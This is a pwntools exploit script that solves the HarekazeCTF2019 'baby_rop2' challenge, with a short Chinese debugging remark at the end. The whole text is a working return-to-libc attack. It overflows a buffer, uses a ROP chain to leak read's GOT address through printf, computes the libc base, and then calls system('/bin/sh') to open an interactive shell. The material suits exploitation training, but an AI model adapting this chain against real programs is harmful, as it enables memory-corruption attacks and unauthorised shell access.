HarekazeCTF2019 baby_rop2

from pwn import *
p = process('./babyrop2')
libcelf = ELF('./libc-2.23.so')
p = process('./babyrop2')
p.recvuntil("What's your name? ")
pltprintf = 0x00000000004004F0
gotread = 0x0000000000601020
poprdiret = 0x0000000000400733
poprsir15ret = 0x0000000000400731
fmt_str = 0x0000000000400770
start = 0x0000000000400540
payload = 40 * 'a' +  p64(poprdiret) + p64(fmt_str) + p64(poprsir15ret) + p64(gotread) + p64(0) + p64(pltprintf) + p64(start)
p.sendline(payload)
realread = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase = realread - libcelf.symbols['read']
log.success(hex(libcbase))
system = libcbase + libcelf.symbols['system']
binsh = libcbase + libcelf.search('/bin/sh').next()
p.recvuntil("What's your name? ")
payload = 40 * 'a' +  p64(poprdiret) + p64(binsh) + p64(system) + p64(start)
p.sendline(payload)
p.interactive()

备注：调试发现不能使用printf函数的got表